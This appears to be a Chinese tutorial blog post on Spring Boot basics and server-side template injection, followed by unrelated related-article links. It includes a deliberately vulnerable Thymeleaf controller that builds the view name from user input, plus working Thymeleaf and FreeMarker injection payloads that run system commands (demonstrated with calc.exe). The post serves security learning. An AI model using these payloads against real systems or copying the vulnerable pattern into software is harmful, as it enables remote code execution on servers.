当前位置: 首页 > news >正文

SpringBoot入门 springboot模版注入问题

SpringBoot基础使用

前期基础学习一直使用的Servelet,现在用Springboot才发现这个是多么的方便,为什么现在主流的是Springboot

简介:Springboot是支持多拓展服务的一个java框架

框架和组件不同的就是框架是一个系统的,内置有不同的语法 而组件只是系统功能的一种,为了的目的是优化单功能方面的方便和安全性

部署

使用阿里的原因就是官网不支持JDK8 为了方便就换一个支持的

依赖只选择一个 web的

Springboot的强大之处就是他的依赖,比如云储存或者是sql数据库的api连接都是方便

package com.example.springdemo.Controller;import org.springframework.web.bind.annotation.*;@RestController
//表示这个控制页面 会把返回的结果一样输出到客户端  如果只是 Controller 的话就不会把这个类下的 return 数据返回到浏览器
public class IndexCon {// 1、基本的路径控制@RequestMapping("/index")  //访问路径触发函数public String index() {return "Hello";}//GET 模式@RequestMapping(value = "/index", method = RequestMethod.GET)public String index2(@RequestParam String name) {    //設置參數if (name == "xiaodi") {return "Hello2";}else {return " ";}}//快捷模式@GetMapping("/index1")public String index1(@RequestParam String name) {return name;}//post模式@PostMapping("/index2")public String index3(@RequestParam String name) {return name+"xiaodisec";}}

运行  上面写的程序 当我们访问index的时候会输出hello 当传参get = xiaodi 会输出hello2

这个是直接运行的前端页面

模版的导入

什么是ssti?模版注入漏洞,前端的模版如果有个可控的输入,那就会导致用户输入的恶意的语法会被镶嵌到模版中去,从而造成危险

前端的模版是指可以优化前端页面形式使其简洁化并且有规律性

Thtmeleaf模版的利用

部署的时候需要选择这个模版引擎

成功导入之后

库中就会出现

这个模版漏洞注入的场景:用户可以使用参数控制模版呈现的页面方式

这里就会变化

换一个值输入

这种情况就可以使用,但是这个地方肯定是没有的

我们先部署一个类似的页面

根据依赖项设置:建一个tem专属目录  然后创建上页面转换的不同页面

package com.example.thymeleafspringboot.Controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;@Controller   //当有模版载入的时候 就不适合使用  rest前缀  否则会干扰到 前端模版
public class ConIndex {@GetMapping("/index")public String index(@RequestParam String name, Model model,String lang) {//Mode model  就是新建一个前端对象 来实例化前端的数据model.addAttribute("data", name);  //把Data的数据 替换到前端的Datareturn "index"+lang;}
}

运行

功能实现之后就需要进行利用

poc:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

但是执行之后

我考??什么情况

原因很简单就是这个阿里云网的springboot版本是稳定性很强的 所以执行不了

我们需要切换到

2.2.0.Release 版本就能弹出计算机

Freemarker模版的利用

这个和上个不同的是 没法使用可控变量从后端操作这个前端的模版

只能使用这个 poc 

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

这个标签必须插入到 模版文件的内部,如果是使用参数传入只能被当做内容执行

展示一下:

没有poc 使用参数进行传递

没反应

添加上

如果上面的poc运行不了

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

还有2个poc可使用

那这个模版注入的作用点就是后台进行提权使用的,因为无可控参数的利用

相关文章:

  • 门头沟网站建设产品推广文章
  • 网站制作应该注意到的问题百度的电话人工客服电话
  • 做评测好的视频网站有哪些模板自助建站
  • 北京产品网站设计哪家专业电脑培训班在哪里有最近的
  • 上海网络推广工资优化营商环境心得体会2023
  • 陕西专业网站建设哪家好/潍坊网站建设
  • 2025最新Nvm安装教程
  • 已知路由表和分组的目的地址求对应的下一跳地址
  • 【Create my OS】6 线程调度
  • RabbitMQ全面学习指南
  • CUDA开发工具整理
  • 技术突破与落地应用:端到端 2.0 时代辅助驾驶TOP10 论文深度拆解系列【第四篇(排名不分先后)】
  • Golang 解大整数乘法
  • LeetCode 高频 SQL 50 题(基础版)【题解】合集
  • 【FreeRTOS-队列集】
  • Python 函数实战指南:提升编程效率的实用技巧
  • 数据结构 排序
  • 手机SIM卡通话中随时插入录音语音片段(Android方案)
  • 微信小程序 路由跳转
  • Velocity提取模板变量
  • ubuntu 22.04 安装部署elasticsearch 7.10.0详细教程
  • DBSCAN(Density-Based Spatial Clustering of Applications with Noise)基于密度的聚类方法介绍
  • LeetCode 2389.和有限的最长子序列
  • Ubuntu 安装并使用 Elasticsearch
  • Go语言同步原语与数据竞争:数据竞争的检测工具
  • 【分析学】 实数